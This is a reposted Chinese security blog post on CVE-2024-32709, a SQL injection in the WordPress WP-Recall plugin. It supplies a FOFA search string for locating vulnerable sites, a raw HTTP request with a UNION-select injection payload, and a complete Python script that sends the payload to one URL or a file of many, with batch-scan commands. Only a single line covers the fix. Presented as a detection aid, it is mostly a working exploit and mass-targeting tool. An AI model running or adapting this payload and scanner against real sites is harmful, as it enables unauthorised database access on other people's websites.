WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】

admin 2024年7月2日07:33:22评论17 views字数 2187阅读7分17秒阅读模式
fofa

"/wp-content/plugins/wp-recall/"

WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】

一、漏洞简述

WordPress是一款免费开源的内容管理系统(CMS),最初是一个博客平台,但后来发展成为一个功能强大的网站建设工具,适用于各种类型的网站,包括个人博客、企业网站、电子商务网站等,并逐步演化成一款内容管理系统软件。其插件WP-Recall其插件存在account存在SQL注入漏洞,攻击者可通过该漏洞获取数据库敏感信息。

二、漏洞检测poc

GET /account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+- HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36Connection: close

WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】

三、漏洞检测脚本

安全测试人员可通过该脚本进行探测自身服务是否存在此漏洞:

https://github.com/ATonysan/poc-exp/blob/main/WordPressRecall_CVE-2024-32709_SQLInject.py

import urllib.request
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    target = url+"/account/?user=1&tab=groups&group-name=p%27+or+%27%%27=%27%%27+union+all+select+1,2,3,4,5,6,7,8,9,10,11,concat(%22Database:%22,md5(123456),0x7c),13--+-"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
    }
    try:

        response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
        res = urllib.request.urlopen(response)
        status_code = res.getcode()
        content = res.read().decode()
        if status_code == 200 and 'e10adc3949ba59abbe56e057f20f883e' in content:
            print(f"\033[31mDiscovered;{url}: WordPressRecall_CVE-2024-32709_SQLInject!\033[0m")
            return True
    except Exception as e:
        pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

批量检测:

python WordPressRecall_CVE-2024-32709_SQLInject.py -f url.txt

WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】

单个url检测漏洞:

python WordPressRecall_CVE-2024-32709_SQLInject.py -u url

WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】

四、修复

官方已更新补丁,请升级至最新版本。

官网地址:https://wordpress.com/zh-cn/

原文始发于微信公众号(苏诺木安全团队):【1day】WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日07:33:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WordPress插件Recall CVE-2024-32709 SQL注入漏洞【附poc】https://cn-sec.com/archives/2907631.html

发表评论

匿名网友 填写信息